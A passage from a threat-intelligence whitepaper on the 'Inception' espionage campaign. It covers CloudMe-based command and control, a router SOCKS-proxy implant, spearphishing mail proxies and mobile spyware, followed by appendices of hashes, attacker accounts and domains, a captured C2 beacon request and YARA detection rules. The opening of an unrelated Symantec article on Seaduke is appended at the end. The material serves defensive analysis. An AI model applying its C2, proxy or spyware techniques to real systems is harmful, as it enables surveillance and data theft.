We know these are not researchers, because we can see malware files being uploaded by them: [17/Sep/2014:09:42:38 0200] PUT /white3946/CloudDrive/QxM9C/st/V1oINDJtnqy/1768.bin HTTP/1.0 201 0 - davfs2/1.4.6 neon/0.29.6 Above: Log entry for the account white3946.
We have been unable to locate the malware that uses this account.
We have a log fragment in which the attackers uploaded a sequential series of updates (from 1746.bin to 1774.bin) within 1.5 hours on Sept 17th, spread over 27 different accounts and using 27 different IP addresses in the process.
The user-agent string shows that attackers likely have used a client based on the open source davfs2 file system for Linux to mount the WebDAV shares.
24 This client is used when uploading new malware, but also when the attackers scan their shares for new victim updates, in which case the shares are enumerated by requests in a scheduled manner.
An attacker scans the tem5842 account for updates.
At intervals, scans hop to new IP addresses.
The attackers have used a large number of IP addresses to access the shares.
As mentioned above, there is a rotation scheme in place in which a new IP address will be used after a few minutes of access against CloudMe accounts.
These IPs are distributed widely over geographical locations and service providers, with a heavy bias towards South Korean ranges.
25 S. Korea 85 Australia 1 China 7 Austria 1 United States 7 Bulgaria 1 Brazil 5 Canada 1 Sweden 3 Denmark 1 Czech Republic 2 France 1 Norway 2 Germany 1 Romania 2 Kuwait 1 Russia 2 Latvia 1 Spain 2 Ukraine 1 Distribution of attacker IP addresses At first we thought these IPs belonged to some commercial proxy service, particularly since several such proxy services also offer IP rotation.
However, this turned out to be a wrong assumption.
26 PART II: Support infrastructure 27 An embedded device proxy network A superficial examination of the proxy IP addresses that connected to CloudMe showed them to be internet-connected devices of various kinds.
Many were Korean Tera-EP home routers but there were several other products represented.
It is believed that the attackers were able to compromise these devices based on poor configurations or default credentials.
We were able to do some forensic work on a compromised Tera-EP TE-800 device and discovered another dimension of the attackers infrastructure.
28 Router malware Under the ramfs mounted partition we found a stripped and statically linked MIPS-el binary named tail-.
Instances of this were also found under the running process list.
tail- serves as a SOCKS proxy for the attackers.
Each sample of the binary we were able to acquire was configured with a unique 32byte blowfish key and a small, encrypted section appended to the end of the binary.
Upon execution the binary uses its hardcoded key to decrypt the configuration section and retrieve the listening port to use for incoming connections.
This acts as a management interface.
From here the attackers can request a specific port to be opened as one of the following types: SOCKET, SOCKSS, SOCKAT, SOCKS5, or STATUSPORT.
To prevent anyone else from accessing this service all communication on the management interface is encrypted using the same blowfish key.
This means that the attackers must maintain a list of where each of these implants are installed, as well as what port and key each is configured to use.
This setup makes it difficult to identify embedded devices compromised with this malware by scanning open ports.
In the wild we witnessed the attackers connect to the management port and request SOCKSS connections.
This would open the specified port and wait for configuration data, which consists of a domain name (webdav.cloudme.com), the destination port, and a variable length RC4 key, all of which encrypted using the blowfish key.
Once received the malware would attempt to connect to the domain name on the specified port and would start tunneling all traffic received from the SOCKSS port to the destination and vise-versa.
The communication between the attacker and the SOCKSS is encoded using the RC4 key.
The graphic below illustrates a typical session.
29 Additional servers The router proxy network provides another layer of indirection masking the attackers infrastructure.
However, because we captured traffic through one of these embedded devices we could identify other parts of their operation.
We identified four IP addresses that connected to the proxy malware: Cloud enumerator: Apparently a rented server at AS34224 NETERRA-AS, Bulgaria This host belongs to a Bulgarian VPS service and would use the router proxy to connect to webdav.cloudme.com.
This host does all scanning of webdav shares for stolen user data, and also uploads new malware components.
Health checker: Apparently a rented server at AS5577 ROOT root SA, Luxembourg.
This IP would make connections hourly and poll the status of the router proxy malware.
This machine is most likely used to track which compromised routers are currently available for use.
Unlocker: Apparently a rented server at AS52048 DATACLUB DataClub S.A. Latvia.
Traffic from this IP had a very specific purpose: It unlocked routers for proxying in connection with the sending of phishing emails.
In the wild we observed this IP connect to our router on the malware management port and specify a SOCKSS proxy port to be opened.
Immediately after, the newly opened port would be connected to by another IP and used to send phishing emails with malicious attachments.
However, later we observed that the Email sender IP at VOLIA vanished and the Unlocker server taking over its role as well.
Email sender: An IP at AS25229 VOLIA-AS, Ukraine.
Possibly a compromised host.
After a router SOCKSS port was opened by Unlocker, this IP would connect to the opened port and tunnel its email traffic through the router.
Each of these connections used the correct encryption key, so we know that these accesses came from the attackers and not some opportunistic third party.
30 Mail proxies: Through our router monitoring we identified two mail proxies used by the attackers.
We were later notified by Symantec (thanks, guys) about a third.
These servers were hosted on domains that were registered by the attackers, using domain names clearly meant to look legitimate.
This is the only time we have seen attackers register domains in this investigation.
The mail proxies were: haarmannsi.cz : Spoof of the legitimate domain haarmannsi.com sanygroup.co.uk : Spoof of the legitimate domain sanygroup.com ecolines.es  : Spoof of the legitimate domain ecolines.net Registrant WHOIS information seems forged: haarmannsi.cz name: Sanyi TERRAS address: R. FREI CANECA 1120 SAO PAULO 01307-003 BR e-mail: sanyi_terrasoutlook.com created: 12.06.2014 NS:  ns.frankdomains.com sanygroup.co.uk: name:  Alan address: Uddmansgatan 13 Pitea Norrbottenaln 94471 SE created:  06.05.2014 NS:   ns.domains4bitcoins.com ecolines.es: name:  Lyisa Almeida address: N/A created:  04.06.2014 NS:  ns.frankdomains.com .
31 Observed phishing emails The connections made from the Ukrainian host to the router were interesting.
After being proxied though the router, each of these would authenticate with one of the dedicated mail proxies and send out phishing attacks.
From captured traffic it appears that the mail proxies have SOCKSv5 services running on obscure high ports.
We have documented that the attackers log in to these using apparently randomly generated usernames and passwords, a unique pair for each server.
The mail proxy would then relay the spearphishing mail as seen below.
Above: Captured SMTP session, sending the malicious attachment MQ1474.doc This way the attack can be mistaken to come from legitimate businesses and trusted organizations.
In some cases the organization from which the phishing email originates would appear to be a known associate to the target.
32 The email shown above was one of a number of messages sent to targets in the oil industry.
Investigating the target email addresses, we saw several of these were found in this public document from the World Petroleum Council, including some addresses that are, at the present time, no longer valid.
And then, the ground shifted again.
33 PART III: Attacks on mobile devices 34 One of the spearphishing mails we observed coming through the router network was this one, sent to an address under the gov.py (Government of Paraguay) domain.
Get WhatsApp now for your iPhone, Android, BlackBerry or Windows Phone There was no executable attachment in this mail, but instead a link shortened by the URL shortener service bit.ly, with the underlying link pointing to an IP address on a Dutch hosting service.
Clicking that link from a Windows PC only yielded a redirection to the BBC homepages, and using other devices did not give more data.
The bit.ly service does however provide information on the user creating the shortened link, and other links associated with this account.
In this case, the user was named nicolatesla53.
35 The nicolatesla53 bit.ly profile page The nicolatesla53 account was created in July 2014.
From Oct 24th to Nov 21st this user created nearly 10000 shortened links  we harvested 9990 unique ones.
Three IP addresses were used for these links: 82.221.100.55 82.221.100.60 94.102.50.60 The links themselves were on this format: http://server_ip/page/index?idtarget_identifiertype2action_code As far as we were able to tell, there were three main types of action_code: 743 : Serve malware disguised as WhatsApp updates 1024 : Serve malware disguised as Viber updates other : Serve MMS phishing content.
The code identifies mobile operator and determines which logo will be displayed when the user follows the link.
36 MMS Phishing We have no sample of the actual MMS phishing messages apparently being sent, but we can see the page served when a user clicks a spammed link.
This is just a dialogue box asking for the password presumably included in the initial message, and the next stage likely involves download of malicious content.
The password screen for action code 16611 (TELE2) We were in the middle of harvesting the servers for data on the various action codes when they all were abruptly taken offline so our data on which mobile operators are targeted is not complete.
We managed to get 66 of a total of 190.
The ones we know of are shown below.
A full breakdown of mobile operators and related links is included in the appendix.
37 The composition of links created for the various mobile operators is quite interesting, as one can speculate that they represent amount of actual or planned attacks in different countries.
With the top three operators being Vodafone, T- Mobile and Proximus (Belgacom) it seems these apparent phishing attacks are less focused on the Russian sphere than the previously discussed malware.
This map is not complete, though.
It represents only about 35 (66/190) of all mobile operators targeted and 66 (3152/4781) of all phishing links we managed to harvest.
In addition, some operators like Vodafone are global actors, so the map might show an unfair intensity in their HQ locations.
MMS phishing heat map The rest of the bit.ly links used the action codes 743 or 1024.
And now things really get interesting.
By using mobile device HTTP User-Agents we were able to trigger downloads of malware components from some of these links.
38 Mobile malware: Android Accessing the link from an Android User-Agent initiated a download of an Android installer package named WhatsAppUpdate.apk.
The package we analyzed was 1.2MB in size.
The apparent main purpose of this malware is to record phone call audio.
Recordings are stored as .mp4 files, and uploaded to the attackers periodically.
The malware is able to collect a lot of other information, not all of which is actually used: Account data Location Contacts External and Internal Storage (files written) Audio (microphone) Outgoing calls Incoming calls Call log Calendar Browser bookmarks Incoming SMS Through the encrypted CC protocol, the attackers can issue commands and binary updates to the malware.
It uses a custom DAO/Database scheme which uses accounts belonging to the virtual community Live Journal (livejournal.com) as data stores.
Three such accounts were found hardcoded in the package: The accounts all state that they belong to Iranian users.
This is very likely false.
39 The text in these posts starts first out in cleartext, but quickly turns into unreadable gibberish.
The HTML source code reveals that the encoded portion is encapsulated in blog-index tags: The three accounts contain different configuration blocks pointing to CC servers apparently located in Poland, Germany and Russia, respectively.
Based on registration data and folder configuration we believe these are legitimate but compromised Joomla servers.
And then an unexpected oddity shows up in the Java source: The sign in front of SizeRandomStr is Truti - a Hindi word meaning Error.
40 We were also able to download a similar malware sample (BrowserUpdate.apk) from one of the CC servers.
This sample used different online accounts for its DAO/database functionality, but is otherwise quite similar to the first.
41 Mobile malware: Apple IOS Using an IOS User-Agent triggered the download of a Debian installer package, WhatsAppUpdate.deb, also 1.2Mb in size.
This application impersonates a Cydia installer, and can only be installed on a jailbroken phone.
Once installed, it may collect Device platform, name, model, system name, system version ICCID Users address book Roaming status Phone number Carrierbundlename Iso country name Carrier name Wifi status MAC address Device battery level Free and total space Cpu frequency and count Total and user memory Maxsocketbuffersize Language local identifier and language display name Default and local time zone Account data: AccountAvailableServiceTypes, AccountKind, AccountSocialEnabled, etc AppleID CreditDisplayString DSPersonID IOS specific data ex LastBackupComputerName, LastBackupComputerType, iTunes.store-UserName, iTunes.store- downloaded-apps etc.
42 These data are encrypted and uploaded to an FTP account which is taken from an encrypted configuration file named /usr/bin/cores.
In this particular case, the FTP account is located on a legitimate (if struggling) hosting service in the UK.
In this case, theres another clue: The project path in the package contains the name JohnClerk.
The WhatsAppUpdate project seems derived from an earlier template named SkypeUpdate.
43 Mobile malware: Blackberry By now, it came as no surprise when we triggered a download with a BlackBerry User-Agent.
The initial download was a Java Applications Descriptor, a text file designed for Over-The-Air installation of Java-based applications.
This JAD file contained the locations of the two Blackberry .COD binaries which we then could download directly.
The application impersonates a settings utility.
This collects: deviceName, manufacturerName platformVersion, softwareVersion brandVendorId, brandVersion total and free flash size of the device amount of memory/storage already allocated ownerName, ownerInformation Phone mumber PIN IMSI IMEI mcc and mnc (Mobile Carrier ID) cellID Location area code isPasswordEnabled Battery data (level, temperature, voltage, etc) Installed applications Address book APChannel Connected Network Type BSSID DataRate Profile Name RadioBand SecurityCategory SignalLevel SSID Collected data will be uploaded to a DynDNS domain currently hosted on a US webhosting service.
44 God_Save_The_Queen is used as a reference in one of the Blackberry binaries.
Since these COD files are also compiled Java code, they are possible to decompile to original source code.
In a similar fashion to the Android version, we find interesting strings there.
This time they are in Arabic: Reading files in Arabic 45 PART IV: Attribution 46 Timelines and activity patterns The earliest sample of Inception-related malware we have been able to obtain, was submitted to us in June 2014.
However, decoy document metadata shows that it was created late May.
The related cloud account was created just before that.
An examination of the other documents associated with the attacks show that they have been created at a steady pace all through summer and autumn 2014 and attacks are still ongoing.
Of interest is also the attackers activity patterns over the 24h cycle.
The main upload of new components to shares seems to be divided over two highactivity periods: 6:00 -10:00 UTC and 17:00 - 21:00 UTC.
No uploads were seen between 23:00 and 05:00 UTC.
It is however doubtful how indicative these timeframes are.
To illustrate, we looked into another and more obscure timing factor: The timing of the AES InitVector random seeds.
A random seed is the initial value passed into a pseudo-randomizer function.
The malware uses the random output to create what is known as an InitVector - a starting point for the AES encryption/decryption function.
The code used in some of the DLLs indicate that the attackers tend to use the C time() function to generate random seeds.
This function returns values of granularity down to seconds.
Thus random seeds, and ultimately the InitVectors, are functions of these quite coarse units of time.
The encrypted files uploaded to the WebDAV shares come with their InitVectors stored at the end of the file.
Since we know the time window to be within a few days of the upload time we were able to brute force the time values that would generate the corresponding InitVectors.
Thus, we were able to say to the second when the file was created  and most times were identified to be in the range 1500 - 2200 GMT.
Unfortunately, we had to reject these data.
The file creation times turned out to be hours after the files themselves were uploaded to the WebDAV share.
Either the attackers system clock is wrong or a fixed offset is added to the random seed.
Either way, the data cant be trusted and shows that nothing can be taken at face value.
47 The Chinese connection On at least two occasions during our surveillance of the Inception framework, the malware downloaded something unexpected and wholly different from what we have discussed until now.
These files were downloaded as encrypted .bin files from the accounts carter0648 and frogs6352.
When decrypted, these turned out to be dropper packages containing one dropper executable clearly created for the Inception framework, and one other, very different executable.
This executable, (sccm.exe, md5 dd8790455109497d49c2fa2442cf16f7) is a classical Chinese APT implant.
It is a downloader and remote shell program, designed to connect to a CC server to interact with the attacker and/or download more malware.
The CC server in this case is ict32.msname.org.
When connecting to this server, sccm.exe issues the following request: This CC domain is used by many other malwares related to sccm.exe some of which share obvious connections to the Quarian malware family, a known APT intrusion tool.
This development was unexpected for several reasons.
First of all, it apparently breaks the strict, obfuscatory operational security built into the Inception framework.
Inception has the capacity to perform all steps needed for scouting out and exfiltrating data without resorting to traditional hosted command control.
By using a well-understood APT tool and a known malicious CC domain name, the attackers permit much clearer attribution.
POST /check.jsp HTTP/1.1 Accept: /..Accept-Language:en-us Content-Type: application/octet-stream Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: www.antivir.com Content-Length: 8 Connection: Keep-Alive Cache-Control: no-cache 48 Another factor which is out of character is the coding style.
All Inception-related malware is written using Visual Studio 2010.
The downloaded sccm.exe is written using Visual C 6 and has a PE header compile date of October 2010.
This date can be forged, and indeed, all Inception-related malware has some level of forgery in the compile dates.
However, the sccm.exe compile date matches the Quarian developer toolset and coding style to a better degree than the other files distributed through Inception.
Then there is the CC domain used.
According to DomainTools.com the msname.org domain registration timed out September 27th 2014.
It was left inactive and was not renewed until Nov 12th.
This means that the attackers distributed malware that would be out of action for a long time (last distribution of sccm.exe was September 26th).
Because of all this we consider sccm.exe as an unreliable indicator.
It is likely to be a red herring purposefully placed on shares where the attackers have seen signs of access by security researchers.
An odd indicator At one instance the attackers seem to have slipped up.
Instead of using their scheduled task, they apparently did something manually on a WebDAV share.
This is visible because the request came from an apparent attacker IP, but used yet another User-Agent: gvfs/1.12.3.
Gvfs is the virtual filesystem for Gnome desktop.
The action on the account was abnormal as well an apparent file upload: 83.53.147.144 - - [02/Sep/2014:09:53:56 0200] PUT /tem5842/Documento20sin20tC3ADtulo HTTP/1.1 408 0 - gvfs/1.12.3 Documento sin ttulo means Untitled document in Spanish.
When WebDAV shares are mapped up as drives by the operating system, any action taken by the attacker follows the same pattern as on the attackers local drive.
In the case above, it seems the attacker attempted to edit a new document, which by default is given the name Untitled document in Gnome.
This might indicate that the attackers operating system language is Spanish.
Of course, Spanish is one of the worlds most widespread languages, so one cannot infer much from this.
There is even a small possibility that the phenomenon is a pure artifact for example that a Spanish-speaking researcher connected to the same account using the same Linux-based setup as the attackers.
49 Similarities with Red October This attack system shares a number of properties that are somewhat similar with the Red October campaigns detailed by Kaspersky Labs in 2013.
For more information about this see: The Red October Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies - Target countries and verticals overlap to some extent - The topics of some decoy documents are the same (eg.
Diplomatic Car for sale) - Similar overall loading architecture, with dropping of encrypted binaries that are later decrypted and loaded - Exploited documents contain certain similarities (i.e.
the magic string PTT used as a marker to locate the shellcode) However, there are also clear differences.
The code is fully rewritten there appears to be little code overlap, at least in the initial stage malware.
The coding style is different, with different solutions to programmatic problems, different use of exception handling, and different use of C classes.
Its hard to believe that the same programmers are responsible for the two code bases.
The Red October malware contained linguistic markers that pointed towards Russian speaking attackers.
No such clues have been found in the Inception- related malware there is a marked difference in the attention to detail and information leakage.
It is certainly possible that the same people have organized both Inception and Red October, but there are no clear indications to this effect.
https://securelist.com/blog/incidents/57647/the-red-october-campaign/ https://securelist.com/blog/incidents/57647/the-red-october-campaign/ 50 Strings in malware The Windows-based malware in this paper generally contains very few noticeable strings apart from what is commonly found in software, and clearly randomized strings.
What exists  like the word polymorphed in the early DLL versions - is standard English with few discerning features.
This changes a bit when we look at the mobile malware.
In the Android malware we find Hindi comments in the Java source code.
In the Iphone malware we find project paths referencing one JohnClerk, and a few typos like conutry.
In one of the Blackberry binaries we find the string God_Save_The_Queen, a rather blunt hint towards Britain, as well as Arabic log strings.
These and other indicators have led us to conclude that the Inception attackers are setting a new standard for deliberate disinformation and red herrings in a malware espionage operation.
Some clues might have been added by accident, but none of these indicators can be trusted in any way.
Thus we are not going to assume anything about who might be behind these attacks.
51 Conclusion The whole Inception setup shows signs of automation and seasoned programming.
The amount of layers used in this scheme to protect the payload of their attack seems excessively paranoid.
Not only is the initial DLL apparently polymorphed using some backend tool  the compile time stamps in the PE header are clearly forged,  resources are removed so as not to give away any location information, and import tables are shuffled around, rendering import hashes (aka imphashes) useless.
The names of the files both when dropped and their original names along with the callback directories, paths and mutexes used all seem to be dynamically generated.
The attackers utilize compromised embedded devices  typically routers- on the Internet as well as multiple dedicated hosting providers and VPN services to mask their identity from the cloud storage provider and others.
The same router botnet is used as a spreading and management platform for attacks on mobile devices as well.
This suggests that this a large campaign and weve only seeing the beginning of it.
Initially many of the targets were located in Russia or related to Russian interests, but as the campaign has evolved we have verified targets in countries all over the world.
It is clear that this infrastructure model does not need to be applied solely against a few targets, or even need to be hosted at CloudMe.
The framework is generic, and will work as an attack platform for a multitude of purposes with very little modification.
The attribution indicators point in different directions and cant be given much weight.
These attacks can in theory be the creation of nation states or resourceful private entities - we consider it very unlikely that they are performed by one or just a few individuals.
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52 APPENDIX: Exploited RTF sample md5s: 0a0f5a4556c2a536ae7b81c14917ec98 19ad782b0c58037b60351780b0f43e43 20c2a4db77aabec46750878499c15354 23d6fabda409d7fc570c2238c5487a90 3ff9c9e3228b630b8a68a05d6c3e396d 4624da84cae0f8b689169e24be8f7410 4a4874fa5217a8523bf4d1954efb26ef 4dcdc1110d87e91cda19801755d0bcf2 516a514bf744efb5e74839ddaf02a540 5e3ecfd7928822f67fbb3cd9c83be841 685d9341228f18b0fd7373b7088e56a7 822d842704596a2cf918863ea2116633 8488303c2a0065d9ac8b5fecf1cb4fc9 8997d23b3d1bd96b596baee810333897 8cd5974a49a9d6c49294312bf09f64ed 9738faf227bcd12bcab577a0fb58744d bc196dc8a14484e700169e1a78cf879e b453ec7fd92bee23846ff36bf903ddc0 2fcbea8a344137421a86b046a6840265 Dropped first-stage DLLs 0bd0fd3cbbcfddc4048228ce08ca26c2 0bda50e05d575446de55d50c631afb53 0f12614fa7a9bf7bcc951eec7b78658d 2f9ca7680ec0945455988d91d9b325f8 352da994d867eb68a178bb7f2fb672bc 3a4a9d26c9c3c8d0fd697b036216319e 43587e5fcf6770259026ec2ca6f41aa6 4628082e11c75b078ff0465523598040 554d4c4da2e3603282b097b0e68ad11a 670ac2e315088d22b2cb92acffc3e997 71bdd14cbc96badb79dfb0f23c52a9ee 72f020b564bc9771e7efe203881f5ef9 80a7883c33a60b4c0178c9c8fb7d1440 84fa976d9ed693668b3f97d991da0e97 89d851cbd2dc1988bb053235414f8928 a5aeda357ba30d87c1187b644baad8a0 c3f2fb7840228924e5af17787e163e07 d007616dd3b2d52c30c0ebb0937e21b4 d171db37ef28f42740644f4028bcf727 d3886495935438f4a130d217d84ae8cb ea0d80db2075f789fc88c3fdf6e3d93e 53 f2840be535fbaf8b15470d61967d527b 90c93c9b80bbf31dce8434a565a0ec7b 54 Downloaded second-stage plugins: 5c3de5b2762f4c5f91affaa6bcadd21b 86b2372297619b1a9d8ad5acdf1a6467 43112e09240caebb3c72855c9f6fc9e5 Downloaded Chinese malware, sccm.exe: dd8790455109497d49c2fa2442cf16f7 Router proxy malware: a6b2ce1cc02c902ba6374210faf786a3 83b383884405190683d748f4a95f48d4 62fc46151cfe1e57a8fa00065bde57b0 036fbc5bffd664bc369b467f9874fac4 488e54526aa45a47f7974b4c84c1469a 24a9bbb0d4418d97d9050a3dd085a188 b0c2466feb24519c133ee04748ff293f 62dc87d1d6b99ae2818a34932877c0a4 7c6727b173086df15aa1ca15f1572b3f 80528b1c4485eb1f4a306cff768151c5 e1d51aa28159c25121476ffe5f2fc692 Android malware: 046a3e7c376ba4b6eb21846db9fc02df b0d1e42d342e56bc0d20627a7ef1f612 IOS malware (WhatsAppUpdate.deb): 4e037e1e945e9ad4772430272512831c Blackberry malware: 0fb60461d67cd4008e55feceeda0ee71 60dac48e555d139e29edaec41c85e2b4 55 Verified malicious CloudMe accounts (based on malware): garristone franko7046 sanmorinostar tem5842 bimm4276 carter0648 depp3353 frogs6352 daw0996 chak2488 corn6814 james9611 lisa.walker billder1405 droll5587 samantha2064 chloe7400 browner8674935 parker2339915 young0498814 hurris4124867 Likely malicious CloudMe accounts (based on access patterns): adams2350 adison8845 allan1252 altbrot amandarizweit anderson9357 astanaforse baker6737 bear9126 bell0314 betty.swon brown7169 brown7356 button8437 carter0648 carter3361 clark6821 collins2980 cook2677 cooper2999 cooper7271 cox7457 cruz3540 david.miller depp3353 diaz1365 din8864 evans0198 farrel0829 ferrary2507 ferre7053 flores5975 fox0485 frog0722 gabriel.gonzalez garsia7871 gray7631 great2697 green3287 helen.scott helenarix hill5289 jackson4996 james9521 john.thompson kalo3113 kas2114 kenneth.wilson king7460 kol8184 klauseroi ksjdkljeijd lariopas lopez9524 lorrens6997 martinez4502 miller8350 minesota1459 moore6562 moore7529 morris9351 morris9461 murphy5975 nedola7067 nelson0000 ninazer norbinov nul7782 parker0519 poulokoel pourater red6039 red6247 reed6865 roges2913 roi5991 ronald.campbell rosse2681 samantares scott5008 sebastianturne swon5826 taylor9297 tem5842 thirt1353 thomas9521 thomson3474 turner3027 vasabilas visteproi voldemarton wer8012 white3946 william.moore wilson2821 wilson2905 wonder7165 wrong8717 56 Bit.ly-shortened MMS phishing links: Action Code Operator HQ location Links created 95501  Vodafone UK 270 81825  T-Mobile Germany 213 66968  Proximus Belgium 197 67840  China Mobile China 173 98491  Zain Saudi Arabia 126 58129  Mobilkom (A1 Telekom) Austria 124 12081  Orange France 124 24806  Hamrah-e-Avval Iran 111 41967  Mobilnil Egypt 105 46736  TeliaSonera Sweden 100 13911  Mobistar Belgium 78 65842  O2 UK, Germany 78 70887  Telcomsel Indonesia 74 98455  Kcell Kazakhstan 74 94382  Mobilink Pakistan 72 12988  Airtel India 65 52378  Vodacom South Africa 63 99578  Maxis Malaysia 59 90298  Swisscom Switzerland 59 86791  Wind Mobile Canada 56 21522  MTN South Africa 56 26059  MTS Russia 55 67838  Alfa Lebanon 51 96735  Kyivstar Ukraine 51 99753  T-Mobile Germany 50 24906  Omnitel Lithuania 48 17150  MtcTouch Lebanon 43 53272  Ooredoo Qatar 36 77008  BASE Belgium 33 31756  Djezzy Algeria 29 14269  Beeline Russia 29 76587  Omantel Oman 28 44974  Velcom Belarus 27 77849  E-plus Germany 26 76102  Celcom Malaysia 26 31021  Azercell Azerbaijan 24 16611  TELE2 Sweden 24 18675  Mobifone Vietnam 22 65942  T-Mobile Germany 20 85993  Sudatel Sudan 20 65090  Diallog Belarus 19 61384  Ufone Pakistan 19 11426  TMCell Turkmenistan 19 58043  Globe Philippines 18 70102  SingTel Singapore 18 90374  Avea Turkey 18 57464  DiGi Malaysia 16 77995  Megacom Kyrgyzstan 15 27964  Warid Pakistan 11 57 15029  DSTCom Brunei 10 70959  Smart Cambodia 10 83722  Asiacell Iraq 10 97143  Maroc Telecom Morocco 9 25786  Magti Georgia 6 34659  Geocell Georgia 6 56167  Bakcell Azerbaijan 5 42397  Dhiraagu Maldives 5 54375  Telfort Netherlands 5 43142  Banglalink Bangladesh 2 90128  EMT Estonia 2 24709  MTNL India 2 92444  Safaricom Kenya 2 60354  Plus Poland 2 84899  Sabafon Yemen 2 14115  Sri Lanka Telecom Sri Lanka 1 42758  Lycamobile UK 1 58 Undetermined MMS phishing action codes (code, number of links): 13975  320 54780  12 14659  3 19343  1 51557  119 92529  11 16814  3 20732  1 37020  88 61135  10 20247  3 25938  1 11111  71 89838  10 24037  3 26346  1 61925  64 44638  9 27307  3 26842  1 91130  63 60007  9 31785  3 27758  1 91200  58 67648  9 37629  3 30053  1 79711  47 72371  9 49284  3 36962  1 43312  42 96565  9 54512  3 37477  1 75687  37 99094  9 68798  3 37686  1 81544  37 24483  8 79286  3 38686  1 51949  29 46127  8 85076  3 40606  1 23562  28 55223  8 94046  3 42067  1 96780  25 99061  7 11468  2 50935  1 72026  24 20470  6 20460  2 52833  1 78098  23 22798  6 25559  2 55991  1 96878  20 32331  6 41075  2 59635  1 18986  19 40772  6 45834  2 65025  1 21782  19 52741  6 57403  2 65414  1 57673  18 63095  6 65855  2 66185  1 62088  18 70610  6 71103  2 67120  1 37267  16 92826  6 71633  2 74336  1 40019  16 25387  5 75778  2 74800  1 46681  15 69153  5 77776  2 75906  1 47390  15 72564  5 80209  2 89027  1 22775  14 24122  4 91062  2 89675  1 80998  14 47240  4 91212  2 90962  1 98758  14 76002  4 91869  2 91774  1 36942  13 82852  4 13335  1 94776  1 93620  13 83478  4 15318  1 98886  1 97276  13 97561  4 16155  1 59 Attacker-owned domains: haarmannsi.cz sanygroup.co.uk ecolines.es blackberry-support.herokuapp.com (DynDNS) 60 YARA detection rules: rule InceptionDLL  meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a  dll.polymorphed.dll b  83 7d 08 00 0f 84 cf 00 00 00 83 7d 0c 00 0f 84 c5 00 00 00 83 7d 10 00 0f 84 bb 00 00 00 83 7d 14 08 0f 82 b1 00 00 00 c7 45 fc 00 00 00 00 8b 45 10 89 45 dc 68 00 00 c  FF 15 ??
??
?? ?
?
8B 4D 08 8B 11 C7 42 14 00 00 00 00 8B 45 08 8B 08 8B 55 14 89 51 18 8B 45 08 8B 08 8B 55 0C 89 51 1C 8B 45 08 8B 08 8B 55 10 89 51 20 8B 45 08 8B 08 d  68 10 27 00 00 FF 15 ??
??
?? ?
?
83 7D CC 0A 0F 8D 47 01 00 00 83 7D D0 00 0F 85 3D 01 00 00 6A 20 6A 00 8D 4D D4 51 E8 ??
??
?? ?
?
83 C4 0C 8B 55 08 89 55 E8 C7 45 D8 e  55 8B EC 8B 45 08 8B 88 AC 23 03 00 51 8B 55 0C 52 8B 45 0C 8B 48 04 FF D1 83 C4 08 8B 55 08 8B 82 14 BB 03 00 50 8B 4D 0C 51 8B 55 0C 8B 42 04 condition: any of them  rule InceptionRTF meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a  PTT b  XMLVERSION \3.1.11.5604.5606 c  objclass Word.
Document.12\\objw9355 condition: all of them  rule InceptionMips meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a  start_sockat ascii wide b  start_sockss ascii wide c  13CStatusServer ascii wide condition: all of them  61 rule InceptionVBS meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a  c  Crypt(c,k) b  fso.
BuildPath( WshShell.
ExpandEnvironmentStrings(a), nn) condition: all of them  rule InceptionBlackberry meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a1  POSTALCODE: a2  SecurityCategory: a3  amount of free flash: a4  711: b1  God_Save_The_Queen b2  UrlBlog condition: all of (a) or all of (b)  rule InceptionAndroid meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a1  BLOGS AVAILABLE a2  blog-index a3  Cant create dex condition: all of them  rule InceptionIOS meta: author  Blue Coat Systems, Inc info  Used by unknown APT actors: Inception strings: a1  Developer/iOS/JohnClerk/ b1  SkypeUpdate b2  /Syscat/ b3  WhatsAppUpdate condition: a1 and any of (b)  62 Acknowledgements The following entities have helped in big and small ways.
Big thanks to all.
CIRCL.LU Crowdstrike F-Secure Corporation iSight Partners Kaspersky Labs Symantec Corporation We also owe a big debt of gratitude to Ryan W. Smith of Blue Coat who helped us tremendously with the analysis of the mobile malware.
Whitepaper:  The Inception Framework: Cloud-hosted APT By Snorre Fagerland and Waylon Grange Blue Coat Systems, Inc PART I: CloudMe PART II: Support infrastructure PART III: Attacks on mobile devices PART IV: Attribution
Forkmeiamfamous: Seaduke, latest weapon in the Duke armory Low-profile information-stealing Trojan is used only against high- value targets.
Symantec has uncovered an elusive Trojan used by the cyberespionage group behind the Duke family of malware.
Seaduke (detected by Symantec as Trojan.
Seaduke) is a low-profile information- stealing Trojan which appears to be reserved for attacks against a small number of high-value targets.
Seaduke has been used in attacks against a number of major, government-level targets.
The malware hides behind numerous layers of encryption and obfuscation and is capable of quietly stealing and exfiltrating sensitive information such as email from the victims computer.
Seaduke has a highly configurable framework and Symantec has already found hundreds of different configurations on compromised networks.
Its creators are likely to have spent a considerable amount of time and resources in preparing these attacks and the malware has been deployed against a number of high-level government targets.
While the Duke group began to distribute Cozyduke in an increasingly aggressive manner, Seaduke installations were reserved only for select targets.
Seaduke victims are generally first infected with Cozyduke and, if the computer appears to be a target of interest, the operators will install Seaduke.
Background The group behind Seaduke is a cyberespionage operation that is responsible for a series of attacks against high-profile individuals and organizations in government, international policy and private research in the United States and Europe.
It has a range of malware tools at its disposal, known as the Dukes, including Cozyduke (Trojan.
Cozer), Miniduke (Backdoor.
Miniduke) and Cosmicduke (Backdoor.
Tinybaron).
News of the Duke group first emerged in March and April of 2015, when reports detailing attacks involving a sophisticated threat actor variously called Office Monkeys, EuroAPT, Cozy Bear, and Cozyduke were published.
Symantec believes that this group has a history of compromising governmental and diplomatic organizations since at least 2010.
The group began its current campaign as early as March 2014, when Trojan.
Cozer (aka Cozyduke) was identified on the network of a private research institute in Washington, D.C.
In the months that followed, the Duke group began to target victims with Office Monkeys- and eFax-themed emails, booby-trapped with a Cozyduke payload.
These tactics were atypical of a cyberespionage group.
Its quite likely these themes were deliberately chosen to act as a smokescreen, hiding the true intent of the adversary.
Figure 1.
